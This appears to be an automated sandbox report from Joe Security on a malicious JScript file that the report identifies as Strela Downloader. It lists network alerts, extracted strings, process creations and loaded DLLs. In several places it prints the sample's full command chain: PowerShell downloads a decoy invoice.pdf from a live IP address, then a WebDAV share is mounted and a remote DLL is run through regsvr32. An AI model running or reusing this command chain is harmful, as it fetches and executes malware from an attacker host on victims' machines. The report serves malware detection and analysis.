Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2097832963.0000022D9D5DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2147584268.000001F049430000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2147378896.000001F0493D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2145201832.000001F049413000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2144922567.000001F04942E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2147432508.000001F049413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2147378896.000001F0493D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0
Source: net.exe, 00000007.00000003.2145201832.000001F049413000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2147432508.000001F049413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/o
Source: net.exe, 00000007.00000002.2147378896.000001F0493D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sace
Source: svchost.exe, 00000009.00000002.3380932979.000002C20B0C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2147790610.000002C210670000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2448, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2832817159901627624.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/61@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5688:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3yw5khvq.spr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1768,i,17196989790410728869,8051120368359651393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1768,i,17196989790410728869,8051120368359651393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
